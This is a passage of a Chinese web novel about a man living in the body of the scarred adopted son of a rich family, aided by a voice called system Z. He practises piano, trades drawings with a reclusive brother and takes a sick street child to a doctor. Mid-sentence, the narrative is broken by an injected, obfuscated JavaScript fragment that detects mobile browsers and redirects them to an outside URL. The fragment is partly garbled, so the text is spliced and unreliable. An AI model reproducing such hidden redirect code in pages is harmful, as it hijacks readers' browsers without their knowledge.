沿路随处可见珍奇藏品，高档家具，更不用提全天通电照明的顶灯。放眼望去，男女仆从无一不是相貌周正气质姣好的。霍家符合人们对富商家族应有的幻想，有过之而无不及。 行至露天长廊，四周人影愈发稀少。 “夫人因有要事在外处理，今天恐怕无法及时回来与您见面。由我代她向您转达歉意。” “好。” 韦执事虽不苟言笑，但仍有常人的情感私欲。他不禁放慢步子，与青年并肩而行。 “戴维·菲尔丁已被驱逐出庄园，老菲尔丁先生一家意见颇大。这些我已告知夫人，您请静心疗伤。” 老菲尔丁相比马库斯，不同于出身。没被雇佣前，老菲尔丁是本地帮派的成员，早年间专干贩酒运酒的高危事业，负伤跛脚光荣‘退役’后，仍与那个‘家族’保持亲密联系。 数十年已逝，民间帮派不再嚣张，可难说最后一击鱼死网破。 忌惮他们一家报复，不是没道理。 然而霍家是他们冒犯不起的，那么便剩小小的‘莱特·莱恩’，捏死不足为惧。 “谢谢您，韦先生，我会好好养伤。” 客套言谢并不令韦执事意外，他不再多言，完成自己的使命。 新琴房坐落于东楼一层，原先是会客厅，因此宽敞又亮堂。只需拉开窗帘，皎洁月色便照亮屋内，尤其是那座漂亮的三角钢琴。 “这是夫人的意思。您今后可以随意进出这里练习。” 韦执事临走才道出所谓‘见面’的正真目的。 “她希望您能赶在小姐生日会前，能恢复到之前的弹奏水准。那么我先告辞。” 可看着那只不时颤抖，指节弯曲变形的手，离开琴房的韦执事对此事抱有极高怀疑。 霍夫人从不了解有关琴手的轻重。也不在乎这青年能否在避免二次伤害的情况下，如她愿恢复。 更准确的说，是如霍骊小姐的愿。 抚摸钢琴冰凉的漆面，择明尝试按下两个音，却以失败告终。 右手根本没有精准按压的能力。 而他就这样坐在琴椅上，欣赏月光铺满黑白琴键，一动不动。 正当他以为这将是个无趣的发呆之夜时，幽暗的侧门却传来一道声音。 “你就这样傻傻看着它，它也不会对你开口说话的。” 3. 打破的声音是pop！-03 皮鞋跟轻叩大理石板地，声源与刚才的嗤笑同处。 择明犹豫着，没起身。 “愚蠢可笑。” 毫无疑问，这是男性的嗓音。 年轻，但不稚嫩，骄纵却不参杂厌弃。他也不是目前为止择明知晓的任何一人，不存在系统Z提供的数据，亦是‘莱特·莱恩’应有的记忆中。 择明手搭上钢琴琴盖。 “如果是我无礼，打扰您的清净。我这就……” 男人于暗处走向银色光流，苍白肌肤恍若自行生光，作为油画底布描摹胜似玫瑰的面容。他的美艳，如一把凌厉冷酷的刀，笔直刺入注视者眼中。从此以往，心间只有他。 不满择明关合琴盖的动作，他亮出背在身后的手。 细长教鞭往琴上一挥，随性披散的黑发于耳侧落下一缕。 “我原以为你蠢已经是极限，没曾想阁下记性差得竟也不分伯仲？那贱女人说了，这间房以后就是给你练琴用的。现在，坐下，从D调练习曲开始。” 他以严师口吻命令，学生却盯着他不着痕迹走神。 择明可不记得，有谁说过会冒出一个‘精灵教师’来帮他复健。 择明：“先生。” 男人不给反应时间，执鞭又是一敲，离他右手仅两公分。砸在高音区，音符连片尖叫。 “现在，马上开始。除非你还想让你这手再多一道伤。” 说这话的他包裹在华丽典雅的黑礼服中，真是一个残暴又傲慢的君王，不容任何质疑和忤逆。 仅限于钢琴世界。 面对能称霍夫人为‘那个贱女人’的神秘钢琴教师，择明别无他选，回归原位。 只不过这次，他特地拆掉那层纱布。 练习曲很短，堪堪两分钟的重复段。仅需右手移动在较小范围内，佐以左手和声，因此音律并不算优美动听，只能说是一段旋律。 暴|君教师抿唇不语，手指画圈转动着，示意重复弹奏。 择明沉默照做。 一遍又一遍，一遍又一遍。 同样的两分钟曲目如机械循环播放，如海潮涌向琴房四角，拍打花色墙纸又逐一涌回，永不止歇。 男人没说停，他便像没有知觉，操纵酸痛无力的右手游走黑白琴键之上。汗水早已浸透那件借来的深蓝外套。 “啧。” 失望的啧嘴声为琴声按下暂停键。 男人却只收起折叠教鞭。 “明天你不用来了。” 转身离去，动作毫不拖泥带水。他危险的注视，与兴趣一起彻底丧失。因为他已亲自验证，那只曾能用琴音撩动心弦，触及灵魂的手，没有再复原的可能。 尽管几十遍的弹奏下来，音准力度都有所恢复。 【系统Z:主人，您现在要怎么做留住他】 择明视线紧随对方肩垫上闪动的碎光，听见系统声音，颇为惊讶。 【我在想，你是不是被我的琴声折服了才一直不理我。比起莱特·莱恩，我自认我的水平不差，就是这位老师实在严苛】 【系统Z：我是否该告诉您，您的弹奏其实很一般，表现力也是】 调侃反被系统无情点评，择明心里笑了笑。 目送那道身影没入黑暗，择明如愿关起琴盖，举起双手舒展身躯。 他的右臂依然比左边矮几公分，抬不上去。 【系统Z：您就这样离开了？】 “你也听到了，我明天起就不用来了。”择明惋惜打量着四周，“只是浪费了霍夫人的好意。她急切奉上的礼物，恐怕并不合对方心意。” 【系统Z：您的意思是？】 “嘘——这是秘密。不可说。”择明食指抵在唇前，煞有介事噤声。 回程无人领路，他自行绕道，穿过主楼旁的花园迷宫。 这是霍昭龙第三任妻子留下的。玫瑰花和紫罗兰，她两种最爱的花卉与矮树构成壮观的圆型迷宫。 可在工程彻底完成，绿色覆盖半片园地前，她就于一场画展被暗杀在汽车里。 过去被一些男仆人恶意追逐喊打，莱特最喜欢往迷宫里躲。 乌云飘荡，藏起月色指引。迷宫深处泛起点点橘光，吸引了择明的注意。 他没放轻脚步，更没绕近道。故意留出恰当时间，好让谁抢在他现身前逃之夭夭。 迷宫圆心是座花亭，一盏煤油灯火苗正旺，安放在石椅上。一并留下的还有散乱的炭笔稿纸，空荡荡的画架。 看来逃跑的人，只来得及带走自己未完成的画作。 路线未完工，眼前是三道出口。想再追上找到对方是不可能的。 这回系统Z迅速给出提示。 【系统Z：第三任霍夫人留下的男孩，二少爷霍子晏，曾几次在这撞见莱特·莱恩受仆人围殴，后来没再出现。根据目前情况分析，他应该是有意避开了。】 岂止是‘撞见’。 那模糊身影藏在迷宫绿墙后，视线多次与莱特交汇，却是无动于衷。 最近一次的相遇里，莱特不慎敲伤后脑，他忍不住在霸凌者离开后向对方求救。 影子在他眼前一来一回走动，只是为拿走落下的画板。 幼时丧母，父亲接连续娶，长姐被全家人悉心照料，最小的弟弟又有后母疼爱，自己却夹在中间既不突出，也不算多余。像面包卷夹心外的焦绒，平庸而乏味。 从童年到成年，稀缺关爱的霍子晏眷恋象征母亲的花园，反对外界乃至自身冷漠，不足为奇。 择明捻起面包碎屑，附着的碳粉很快染黑他的拇指。 “有只小鼹鼠才冒出地洞透气，就被过路旅人吓缩回去了。可怜的，担惊受怕的小东西。”他由衷感慨。 现成工具在手，他毫不客气，小做整理霸占原位。 起笔是两道倾斜直线，标记光影分区。阖眼构思数秒，勾勒出轻重有度的轮廓。 【系统Z：您在做什么】 择明：“你要学会观察，Z，思维不要太狭隘。生活中的一些浅显事，我不能总是为你解答的。” 他苦口婆心父母发言，系统Z照旧冷冰冰。 【系统Z：我是否能理解为，您现在转变了针对目标，通过以这种成功率较低的‘互留纸条’方式搭讪】 笔尖摩擦画纸簌簌作响，择明轻哼方才的钢琴旋律，左手灵巧，控笔流畅。 “我一直认为，人类家庭中排行第二的孩子是值得更多垂怜的。尤其是当另外两个还要比他出众的时候。” “被忽视，被比较，被用作中间可上可下的调节踏板。有脾气，有诉求，但总强迫自己一再忍耐，委曲求全，成为木讷老实的代名词。” “实际上，像布满空心洞的海绵，一点水分湿润便能使之膨大涨开，却怎么也吸不满。他们往往要比其他兄弟姐妹更沉默，却也更加激进，欲|望深重，或许……能在最后做出超乎所有人想象的事。” 喃喃自语中，择明完成一幅黑白画作。 【系统Z：我该我为我的狭隘轻视道歉，主人】 “那我接受你的道歉，Z。” 择明满意卷起画作，压在他亲自整理的稿纸之上。 “你与我还有很长一段时间需要互相指导，一起虚心学习，我很期待，你呢？” 系统没有答复。 火光摇曳，煤油灯被佩戴面具的青年吹熄，留在寂静无声的迷宫中心。 但它并没有等待多久，就迎来了接它的人。 从中间拱门钻出的男子个头很高，纯正褐发顺服贴着脑袋，眼窝凹陷眼底发青，一板一眼的气质与这套米白衬衣木色背心相辅相成，如老树长腿缓慢走路，顺眼又说不出的怪异。 他是霍家的二公子，霍子晏，曾被戴维戏称为木柴人。 当然，嚣张如戴维也只敢背地里嚼舌根。 察觉画具被动过，霍子晏眉头皱起一道沟壑。 站定犹豫半晌，他带着嫌弃神色收起画架。纸和笔，他打算都直接扔掉，重新再叫仆人买。 余光偶然一瞥，一份画卷阻止他离开的动作。 它被红色丝带缠绕，蝴蝶结比例完美左右对称，连摆放角度都那么无可挑剔，一眼便能看中。 如此精美的包装，让人很难抗拒拆开它，一堵礼物真容的好奇心。 发现自己情不自禁用上‘礼物’这一指代词，霍子晏垂下头，否认地摇了摇。 怎么可能是给他的。 再说昨晚不一定是有谁来过，算不准是老鼠野猫、猫头鹰之类的动物造访。 可动物不会对人类用心筹备礼物。 呼吸忽快忽慢，彰显内心斗争的激烈。一次冗长深呼吸后，霍子晏放下画架，转而拿起画卷。 丝绸轻轻一扯，很容易解开，纸张自然垂落，毫无保留地将冲击他神经，大脑，整具僵硬却逐渐颤抖的身体的线条呈现。 丰腴柔美的新娘侧过头，宝石光泽如星辰碎片点缀发间。分明是黑白双色，可她羞赧以手遮脸，却又从指缝小心窥探的神情栩栩如生，一抹脂红浮出苍白纸色，是她的欣喜喷涌而出。 新郎未出现在画面，可依靠后方女人们的惊艳羡慕，男人们的自惭形愧，都能在脑海中描绘出他颠倒众生的容颜，折服八方的气势。 风流轻拂页脚，一刻不停畅游林间，他仿佛听到那含情脉脉，唇如蜜柑的新娘开口清唱。 ——我的良人啊，你快来 ——如羚羊或小鹿在香草山上 霍子晏几度捂嘴又放下，像匹焦躁困兽，在看不见的牢笼中来回踱步。 唯有反复观摩画卷，卷起惊涛骇浪的心才得以平静。 画就是给他的礼物。 他此刻坚信这点。 因为昨晚遗落的稿纸，那些不成形的，杂乱无章的线条，是折磨着他整整半年的灵感。 成品他不是没有画出来过，然而每到收尾，强烈的厌恶迫使他难再下笔，脑中空白。撕毁底稿后，他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592329|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往往又要在画室封闭上十几天，最后拖着失魂躯体来到母亲的迷宫，重新调整状态。 如今，真正的绝品已出，单凭一张铅稿就能将他死气沉沉的‘赝品’打入地里，贬得一文不值。 不，他任何一副作品与之相比，都只配称作尘土。 霍子晏像喝烈酒般摇晃，倚靠柱子才站稳，久久回不了神。 震撼狂喜之后，心如被挖肉，蓦然空虚，接着又被索然无味的疑问充满。 这作品花了多久时间，用了什么技巧，怎么想的构图，衣服的褶皱，光影的切分与交汇怎么调整…… “是谁……你会是谁。”霍子晏紧紧按压心口呢喃。迫切地想找出能探究谜底的方法。 他如此忘我，以至于天空阴沉，雨点骤降还没抽离自己的小世界，直到雨水差点弄湿画纸，他才匆匆将其藏入衣中。而他终于想到一种绝妙的方法。 暴雨下到深夜停歇，一天滴水未进，霍子晏看起来比早上更憔悴瘦削，可他双眼目光如炬，满含期待，撑到回房，往床上一栽睡到次日傍晚。 比起昨天他又平静几分，至少能做到吃饭喝水，一边欺骗自己下楼见证‘奇迹’，一边抨击自己不要痴心妄想，乖乖呆在房里就好。 期待，永远能轻松超过失落。 霍子晏梳过头发，换过衣服，终究下到花园里。 熟悉的路线今日竟出奇的陌生又幽长，还剩一个拐口，他捏紧衣袖，害怕上前。 ——啪嚓 不知来源的声音惊动他，等回过神，他已迈出最艰难的一步，望向石亭瞪圆一双满布血丝的眼。 是‘回信’！ 一张纸贴在他昨日留字条的地方。位置变了，因此他很肯定。 纸堪堪手掌大小，停歇着一只被雨打湿翅膀的莹蓝闪蝶。 霍子晏迫不及待上前，在伸手欲要驱赶蝴蝶时定格。 这只蝴蝶，并不会飞。 它生来就是落于此处，只为等候他来临。 油灯照耀，蝶翼泛着蓝紫双色的金属光泽，在画纸构图非但没让它变成扁平的死物，反而令它一直身处触须微动，即将振翅的前奏。 【你是谁】 他昨天在纸上写下这句话，既祈求应答又不期待回复，矛盾等待至今。 他或许应该再次感谢曾被他唾弃愤恨的上天，让他重获幸运女神垂怜。 “Morphoaurora。” 霍子晏喃喃念出，像博物馆的修补师取下画纸，动作小心，生怕碰碎半分。 那个‘他’，自称黎明闪蝶。 亢奋令霍子晏恢复几分血色，借助忽暗忽明的煤油灯，他匆匆取出画纸，留下又一份包含热切期盼的‘信’。 他多想一直守着，等到对方出现。可勇气总是恰到好处消失，逼他退回阴暗孤独的洞穴中。 一个地洞——这是他今夜传达的简讯。 午夜，这张简讯被择明拿在手中。 马库斯要去进新花种离开当地，他大胆搬进当初的‘案发现场’花房。这儿有着数量丰富的天然颜料。 借烛火点燃烟斗，择明吸气吐气品味烟草的芬芳甘苦，咂了下嘴。 “让我想想，这次我们要给小鼹鼠什么回信？” 【系统Z：我认为您现在无论给他什么，他都会奉若珍宝，甘之如饴】 择明当即摇头，拿出教育口吻，“不不。这并不礼貌，Z。确实，他有着一颗对艺术狂热赤忱的心，在这方面会比初生婴儿还单纯，极易受人操纵。正因如此，我们才更加要尊重他的热爱，不可敷衍。” 【系统Z：听您慷慨陈词，我都快忘了当初您信誓旦旦的选择了】 择明莞尔，敲落烟斗前端积蓄的灰，执笔准备回信。 金属门却在这时摇晃，伴着激烈的亲吻，两个紧紧搂抱的身躯撞进花房。 其中一人攻势猛烈，疯狂在另一人身上攫取温软清香，另一人欲拒还迎，不时轻哼几声，配合着放软身体。 昏暗的灯下，两人面庞一闪而过。是两名男人。 被蓝绣球遮掩在后，择明放下笔，两手交叠支撑下巴。 饶有趣味观看这场激情四射的活春|宫，目不转睛。 想起什么，他故意脑中询问。 【你怎么不说话，Z】 【系统Z：主人，我不认为，这是你我需要一起学习的内容】 择明噗嗤轻笑出声，“好，那我学习就行。你不要看不要听，乖。” 【系统Z：您……】 第一次见系统欲言又止，择明捂眼双肩抖动，最后像是忍耐不住，捧腹大笑。 与此同时，花房门边的暧昧声嘎然而止。 率先起身的人上衣敞开，目光是动情后的慵懒和被打搅的不满，与霍夫人七分相似的面容早已证明其身份。他是霍家的小少爷，霍子骥。 “出来。”他也笑着命令，“我数三声，你不出来，我就在这放把火，把你烧了。” 4. 打破的声音是pop！-04 透过绣球花端详金发黑眸的霍子骥，择明由衷感慨子随母相这一普遍定律。 小少爷与霍夫人的最大不同，大抵在他的放浪形骸，自信张扬，以及右眼角下那颗浅褐泪痣。 【系统Z：主人，他要过来了】 由于不熟悉花房布局，霍子骥一味笔直前进。 他穿行盆栽花丛，踩烂幼苗，折断花叶。眯眼含笑无所谓的模样，与先前的发狠威胁判若两人。 择明在对方将要拨开绣球花之际吹熄烛火。 光线陡暗，但令霍子骥止步的是他的道歉。 “对不起，三少爷。我不知道您今夜会带朋友来观赏昙花。” “呵·····” 霍子骥抬手，抓弄自己柔顺胜丝绸的铂金秀发，衣襟大敞，任胸膛至腰际裸|露，健美胴体的线条展露无遗。 他紧盯幽暗角落，恰似耐心猎人守候猎物。 “我说会是谁在这打搅我兴致，原来是你这只丑猴子，今天你又被谁打断手脚，烧毁脸了？” 毫无疑问，那日在二层露台热闹看戏的正是三少爷。但那时，他左拥右抱的可都是女人。 “我受人所托过来照看花，做梦睡糊涂忘记离开而已，三少爷。” 择明从善如流回答，只字不提那场酣战前|戏。 霍子骥下巴轻挑，神色倨傲与他母亲如出一辙。轻飘飘一句‘那你可以滚了’将他打发。 纸笔在外套下藏好，择明特地绕道而行，避免任何接触。 不过到花房门前，他与那名男性情人不期而遇。 情人与三少爷年龄相仿，十七八岁。腼腆垂眸，站姿乖巧，因低头看不清脸，唯见细长睫毛如羽翼颤动，更添几分惹人怜爱的稚气。 “晚、晚安，莱恩先生。” 擦肩而过瞬间，择明捕捉到声若蚊蝇的问候。 他略感惊讶，回头同扬起脸的男孩四目相望。也认出对方。 这是草场上的小马童艾文，时常被马库斯叫去跑腿，或进出别墅主宅，为那的仆人运送皂角香膏之类零碎物。他长相讨喜，嘴甜体贴，没有谁会狠心拒绝这只小羊羔。 艾文认识莱特·莱恩，还能与霍子骥发生关系，并不奇怪。 点头以示回应，择明不作停留离开，将这座浪漫花房留给这对秘密情侣。 【系统Z：他们不一定是恋人】 回木屋路上听系统否认，择明颇感兴趣追问。 择明：“何以见得，Z。” 【系统Z：三少爷霍子骥自小如此，喜好俘获他人芳心，征服各色‘难茬’，男女通吃亦来者不拒。他的作风喜好，不仅上流交际圈里人尽皆知，在当地也是响当当有名。但碍于霍家明面上需维持声誉，公开场合他仅挑选女伴】 私下身边换过多少人，就不得而知了。 不同于深闺养病的长姐，默默无闻的二哥，霍子骥优秀的社交能力与生俱来，尽管偏爱寻求刺激，在家犯错最多，还迷醉男欢女爱，不务正业，可连严肃苛刻的霍昭龙都有被他逗乐消气的时候。 全家对其纵容至深，又爱又恨。 但至今未对他下重手惩戒，究其原因，还是继承一事。 霍昭龙年事已高，迟早退居二线，最后撒手家业颐养天年。而今放眼霍家，单有一个霍子骥可胜任家主之位。 事实上，他已提前参与部分生意，仅负责布置酒宴派对，帮父亲的生意顾客伙伴捧场。 毕竟，没有人比他更懂享受。 “那真是标准花花公子一名。他一定经常打喷嚏吧？” 【系统Z：您的意思是？】 择明：“他想要得到的人太多。可想要他的人，也数不胜数。” 木门在择明身后关起，微弱烛光至黎明燃尽。 整夜伏于桌前作画，择明精力充沛，不见倦意。沾湿一身露水把回信送至迷宫，他如约在庄园偏门等待马车。 今天，是他要给那群流浪儿们答复的日子。 来到城区，褪下面具，他顶着那张不堪入目的脸走过街道。 情况已然与最初相比天翻地覆，他不再是无人留意的幽灵，唯恐避之不及的怪物。所有人望向他，无一不是面露微笑，能同他坦然交谈的。 “莱特，又来买葡萄？我特地留了一串最饱满的。天气这么热，我等会儿就要收摊了。” 他迎上前，摇头婉拒。 “多谢好意，米洛斯夫人。不过您更应该带回家给您的女儿，她正在长身体。相信再过不久，他也会成为和您一样优秀美丽的女子。” 赞美没刻意夸大，关心口吻真挚，每当面对面交流，无论身份地位如何，相貌个性是好是坏，他们皆能从这年轻人那得到至高无上的尊重。 宛若在炎炎夏日跃入清凉泉水，一瞬间获得难以言喻的宽慰，甘愿沉沦。 妇人米洛斯不自觉面露微笑，受触动轻压心口。 “那我借你吉言了，祝你一天好运，莱特。” 越来越多相似对话绊住青年脚步，跟随他感知一切，系统Z再次出声。 【系统Z：我甚至要以为您是临时改变主意，选择改正‘莱特·莱恩’的扭曲诉求，成为人人爱戴的圣者】 择明：“我有么？” 【系统Z：至少就目前您的行为来看，您甚至要比‘莱特·莱恩’更善良阳光，真诚谦逊。而且您在处理戴维·菲尔丁一事上，有句谚语很贴切——杀敌一千自损八百】 “现在就是需要我给你上一课的时候了，Z。” “日安，莱特。” 气球商贩打断了择明自语。 “你又来给那群小兔崽子买礼物了？” “巴特先生，”择明摘帽欠身，“您夫人的腿伤如何。” “你怎么知道我家那婆娘摔断腿了？”巴特狐疑皱眉。 择明神情自然，上前挑选气球，“您忘了么，上回你还向我抱怨，说她这段时间躺床动不了，突然爱使唤起你，一点小事就要你背她上楼下楼。鞋底都磨破了。” 话锋一转，他故意眨眼打趣。 “我后来想了想，夫人平日忙于家务，你又早出晚归做生意。她这是向你撒娇，想你多陪陪她。生病养伤中的人呢，向来容易受孤独困扰。” 巴特惊讶，大笑时两撇八字胡尾巴上翘。 “老夫老妻二十年，也就你们年轻人会想这种不害臊的事。你放心，最近我替她去向教堂的本·安医生求药，再过几天她又能下地追鹅跑了。” “本·安医生？名字真独特。” “是啊。但这本医生，医术实在高，街尾那长肉球驼背的‘秃鹫’，你知道的吧，上次竟被本先生治好了。就是不知道用的什么办法。本医生治病时不允许其他人进出，一定要十分干净的房间……” 商贩喋喋不休，叙述摆脱不了市井小民的特性，东拉西扯，频繁跳转。有时自己说到哪也不记得。 可择明微笑倾听，适时追问，巴特不知不觉将话倒了精光。 包括曾被‘本·安’医生要求保密的内容。 “本医生会在城里轮流换位点，哪需要看病他就去哪。不收家里穷得揭不开锅的，或疑难杂症，重病快死的人的钱。”巴特压低声音故作神秘，“不要说出去。这些只有和医生当面说才知道。医生不准我们告诉别人，尤其是不住在这街上的。也不准我们帮他‘拉客’。” 作为禁止告知的对象，择明郑重点头保证，牵上气球离开。 【我告诉你，不算毁约吧，Z】 【系统Z：您的话让我不知道怎么回答，主人】 【下次再遇到这种问题，你直接说‘是的，主人’总不会错，Z】 【系统：是的，主人……您是故意的吗】 尽管系统的语气自始至终都无情绪起伏，择明出声轻哄。 “别生气，Z，我们还有很多事情等着做，无意义的发怒只是徒劳。” 话音刚落，他转角便被小孩们扑满怀。 “莱恩先生！您总算来了！” 萨沙满脸急切，不像是思念或急于他答复，拽他往深巷去。 七八个孩子同时说话，叽叽喳喳难以听清内容。最后来到野棚，他才终于得知孩子们为何惊惶。 野棚是这区域所有无家可归者的住所。一片空地，用木架雨布搭成简陋帐篷。其中孩子往往又是欺压对象，那些流浪汉连自己都照顾不好，更别提去保护‘稚嫩幼苗’。 最破旧狭窄的帐篷里，玛吉昏睡着面色涨红，她小小一团缩在尼尔怀里，艰难呜咽，呼吸急促。 择明立刻放下东西，蹲地与女孩额头相抵感受体温。 这群孩子虽生活艰苦，但体质素质一向较强。玛吉是他们中最活泼可爱的，前天还生龙活虎。 “我、我们想要带她去看医生，莱恩先生。”尼尔眼眶发红，不知所措向他求助，“但昨天我们的钱被抢走了、我们又不知道该去哪找您，您有钱的话、可不可以先借我们，我们会写欠条的！” 择明不语，脱下外套给病患披着。 那点擦鞋卖花赚来的钱，还不够找正规医生问诊。 他当即决定道。 “尼尔，你跟我去。萨沙继续留在这照顾好大家，没事的，我一定会找医生把玛吉治好。我可不希望我的第一讲，就有谁翘课缺席。” 以往谁要说单独带某个孩子离开，萨沙仿佛小母虎见人血，一蹦三尺高，张牙舞爪驱逐。 因为她自己正是被这样拐卖，离开温暖幸福的家庭。独自成长至今，目睹种种腌臜污秽，她早已立誓不再轻易相信他人。 但她含泪仰望，此刻太阳正如初遇那日一般，悬停青年头顶。 光因人影恰到好处遮挡，变得闪耀却又柔和。 恍惚间，她见到了曾日夜祷告的对象——宽容无私，博爱世人的神使。 萨沙主动捧起择明的右手，在额前贴了贴，心中祈求。 ‘请让我跟随’ ‘请让我蒙您荫蔽’ ‘从今以往，您是我唯一的归宿，我是您忠贞不移的愚仆’ 轻拍女孩脑袋安慰，择明马不停蹄动身。穷人区教堂十分好找，只需跟随流浪汉乞丐，循着免费浓汤面包的浓香，便能在蜿蜒街巷中摸索出正确路径。 当三人抵达时，早间餐食施舍会恰好结束。 一位老人率先注意到他们，牧师打扮，面容和蔼。 “请问，有什么需要帮助吗？” “拜托了！我们需要看病！” 尼尔脱口而出，却被择明按住肩。 “我们需要见一见本·安先生。” 老人笑容顿消，将他二人仔细打量。甚至没放过尼尔怀中的玛吉。期间视线在择明的怪异‘阴阳脸’上停留最多。 最后仍拿不定主意，老者让他们稍等，独自进门。 片刻后门被打开，他探出半边身子示意尼尔。 “请这位孩子跟我进来。” 择明抬手对尼尔又是一拦。 “我必须陪同。”他要求着，语气温和却态度强硬，“作为他们的看护者，我不能容忍两人同时离开我视野的情况发生。请您理解。” 老人犯难，“这……” “让他们进来。” 门后传来谁的命令，声音低沉，没有起伏。 老牧师不再坚持，领他们进了门。 屋内，三架病床洁白整洁一字排开，医疗器具样样齐全，静躺在金属推车里。 当医生转身，亮出张熟悉面孔时，择明毫不意外。他轻声唤道。 “本·安先生。” 伊凡·贝内特。 见了他，伊凡动作一顿，但视线很快转移到喘气咳嗽的玛吉身上。 很难想象，她这四岁孩童，喉咙竟能发出狂风吹折大树的咔咔声，仿佛下一秒就要咽了气。 只一眼，伊凡便确定病因。 “是喉头炎。把她放在床上，你，去侧门劈柴烧热水。我没说够就继续烧。”他特地指着尼尔。 尼尔第一时间望向择明，获得对方点头示意才行动。 “扶她坐起来，替她喂药和热水，按我说的方法拍她背部。” 伊凡背对人鼓捣药剂，调配适量后转身，发现青年仅凭他几句口述，完美处理着女孩咯痰窒息的症状。 女孩浓痰粘稠带血吐在青年手心，他既不大呼小叫嫌弃也未强装镇定，以衣袖轻拭对方嘴角，继续为人抚背顺气。俨然另一个救死扶伤的医生。 抢救花费半小时不到结束。 灌入药咳出痰后，玛吉呼吸平稳，尽管在昏睡但体温逐渐下降。 尼尔如释重负，手绞着帽子走到伊凡面前。 “谢……谢谢您本医生。” 畏惧男人双眼里的漠然疏离，更担心会有天价治疗费，他紧张不已。 “明天之前继续留床观察，她要是再喘气就给她喂药。去继续换毛巾给她降温。” 这口吻直来直去，但至少在庄 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伊凡锁眉困惑。他接触霍家时间不长，但多多少少从霍家仆人口中听过描述，拼凑出莱特·莱恩的形象。他很肯定，这面具不离脸，孤僻古怪的四少爷不可能育有子女。 “是我们求莱恩先生帮我们的。钱我们会自己付，无论花多长时间，请不要为难他。” 尼尔忍不住起身辩解，径自走来，想从择明手上拿过账单。 择明大手一盖对方脑门，言辞宠溺。 “听话，尼尔。去陪玛吉就好。” 沉默至今，老牧师发话了。他看着尼尔，如恍然大悟道。 “你是尼尔，和萨沙一起的尼尔？” 尼尔点头承认。 原来萨沙曾是这远近闻名的‘小泼妇’，不仅敢打伤人贩|子逃到教堂，后来又将所有意图领她去孤儿院的大人打骂走，不得不放弃她。对于自己的兄弟姐妹，她亦如此保护。 伊凡皱着的眉松开几分。 他没再提高额账单的事，也没理会择明等人，收拾东西匆匆离去。而经老牧师同意，萨沙那群孩子也被迎进教堂过夜。 旧地重游，萨沙不抗拒的模样令老牧师倍感惊讶。她对名为‘莱特·莱恩’的青年表露的信任依赖，更让所有目击者大跌眼镜。 择明在教堂陪同到深夜，确定玛吉脱离危险，才悄然离去。 这时间点等不来任何便车，唯一能来接他的马库斯还身在外地，择明手插在裤兜中，呵气收紧身体，慢吞吞向外走。他外伤恢复，内伤却未愈，至今还有点怕冷。 无灯照耀的暗巷，两束刺目白光由远至近，随着引擎轰鸣停在他眼前。 “上来。” 老爷车后座里，伊凡冷眼觑来，语气同样冷峻。 择明上车与人并排而坐，彼此一路无言。直到即将驶出这片老城区，他才望着窗外深幽的夜问道。 “这是您的故乡？还是说您在这长大。” 男人反应激烈，由假寐猛然睁眼，不可置信转头却只见对方后脑勺。 “为什么要这么问。” “总有这种感觉，和猜测。” “成才成名以后，人们总有着一种不可避免的回归冲动。或为自豪炫耀，从试图证明自己延伸更庞大的目标，那就是改变别人和他们的生活，反哺养育出自己的贫瘠土壤，碾压拔除拥挤过自己的猖獗杂草。又或者，为不可言说的……秘密。” 吐息落在秘密二字后，伊凡心如漏跳半拍。 “我很羡慕你，伊凡·贝内特。” 他听到对方叹息，不带敬语，像是多年老友间互相倾诉。 “我多希望我能是你，或是教堂里的他们，那群孩子。” 出身贫贱，生活似乎更加艰辛望不到头，可仍拥有蓬勃发芽，肆意生长的翻身机会。 当他被接入家大业大的霍家，扣上不伦不类的‘养子’名头时，他就已与这种自由绝缘。 他不能太优秀出挑，不然会成为别人的眼中钉肉中刺，缠入利用与被利用的蛛网。但他又不能太无用软弱，否则下一个‘戴维’正摩拳擦掌等着他，无根浮萍被浪轻松吞下。 离开一词说得轻巧。 但明有戴维家族帮派虎视眈眈，暗有看不见的觊觎者蠢蠢欲动。这一切组成牢笼，巨大而密不透风，至始至终罩在他头顶。 临近霍家庄园，道路街灯与车擦身而过，光影更迭中，伊凡看着对方面具贴脸，关合锁扣，又变成那天木屋里寡言木讷的行尸走肉。 待他回神别过头，与窗中倒影四目相会，不禁为自己眼中流露的怜惜怔愣。 车在离门三百米远处停，伊凡却突然叫住下车的人。 “钱我照旧要收。包括他们的住宿费，账单我会一直记着，到你能还得起为止。” 无视对方的欲言又止，他继续道。 “你手断了又不是截肢残疾，脑袋损坏成呆瓜，有空闲时间跑出来陪小孩玩，还不如找份像样零工。比如说看护教书。” 中间蓦地一顿。 “我南片教堂很缺人手。” 话音刚落伊凡拍两下司机椅背，车立即启动，飞速掉头消失在夜色。 择明好笑地耸肩。 “贝内特先生虽然是位好医生，但可能不太适合放贷收利息，要亏本的。” 【系统Z：是的，主人。您说得对，不然他也不可能是医生】 从系统的罕见废话中听出点‘报复’意味，择明边走边轻轻晃脑袋。 “那你觉得我合适吗，放贷收债？” 【系统Z：是的，主人】 “我会因此富有吗？” 【系统Z：是的，主人】 “我能攒够钱买一匹小马驹吗？” 【系统Z：是的，主人】 “那我能找人实践向三少爷学习的成果，表演给你评分吗？” 犹如曲谱弹奏到休止符，系统应答戛然而止。良久才响起声音。 【系统Z：您现在可以再告诉我，这种问题我又要怎么应付您了】 择明眯眼笑吟吟，愉悦显现在他轻蹦小跳的步伐。虽然今日是他首次从霍家大门进，但他也很快意识到变化。 庄园灯火通明，站岗侍者数量远超平常，分明已是深夜，主宅及周边仍是一副忙碌盛况。 种种迹象表明一件事——霍家家主，霍昭龙回来了。 5. 打破的声音是pop！-05 霍昭龙年近六十，保养得当又有气质加成，远远望去一袭风衣，身姿笔挺，仍是名风雅美男子，皮相骨相无可挑剔。时光偏袒于他，除去白发不忍再为其增添皱纹。 